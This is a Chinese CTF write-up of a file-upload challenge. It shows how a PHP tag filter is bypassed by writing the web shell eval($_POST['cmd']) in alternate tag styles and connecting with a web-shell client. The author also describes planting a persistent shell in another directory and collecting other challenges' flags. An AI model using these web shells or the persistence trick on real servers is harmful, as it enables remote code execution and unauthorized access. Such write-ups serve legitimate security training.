【fairy】实验吧——一道奇葩的上传题

本文详细解析了在CTF竞赛中如何利用不同PHP标记风格进行代码注入,通过绕过常见过滤手段,成功上传并执行恶意代码,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://ctf3.shiyanbar.com/up/

我们先随便上传一个文件,可以直接上传,尝试着上传小马,

上传成功,发现上传成功,并且发现源码提示,看到源码就想到事情没有这么简单,查看上传的文件,果然,事情没有这么简单。

它过滤了php的标记,emmmm,查看源码,发现过滤在这

想着该怎么绕过过滤,没想出来,尝试了很多办法,都没有成功,最后在舍友的提示下,发现还有很多种php写法

1、xml风格

<?php

eval($_POST['cmd']);

 ?>

php推荐使用的标记风格。

服务器管理员无法禁用,所有服务器上均可使用该风格。

 

2、脚本风格

<script language="php">

    eval($_POST['cmd']);

</script>

默认开启,无法禁用

3、简短风格

<?

    eval($_POST['cmd']);

?>

此种风格需要在配置文件php.ini中启用short_open_tage选项

此种风格在许多环境中默认是不支持的

4、asp风格

<%

    eval($_POST['cmd']);

%>

此种风格需要在配置文件php.ini中启用asp_tag选项

在默认情况下是禁用的

 

看到第二种,简直美滋滋呀,构造小马

上传,菜刀连接

顺便看到好多人上传的文件,可以搅屎呀,在这个目录下,所有文件定时清楚一次,想着在其他目录上传一个小马,就可以一直连上去了。

差点忘了找flag,在目录下找到flag文件,获取flag为flag{hahahahahahahaha}

同时还在web目录下发现了其他的题,以及其他题的flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值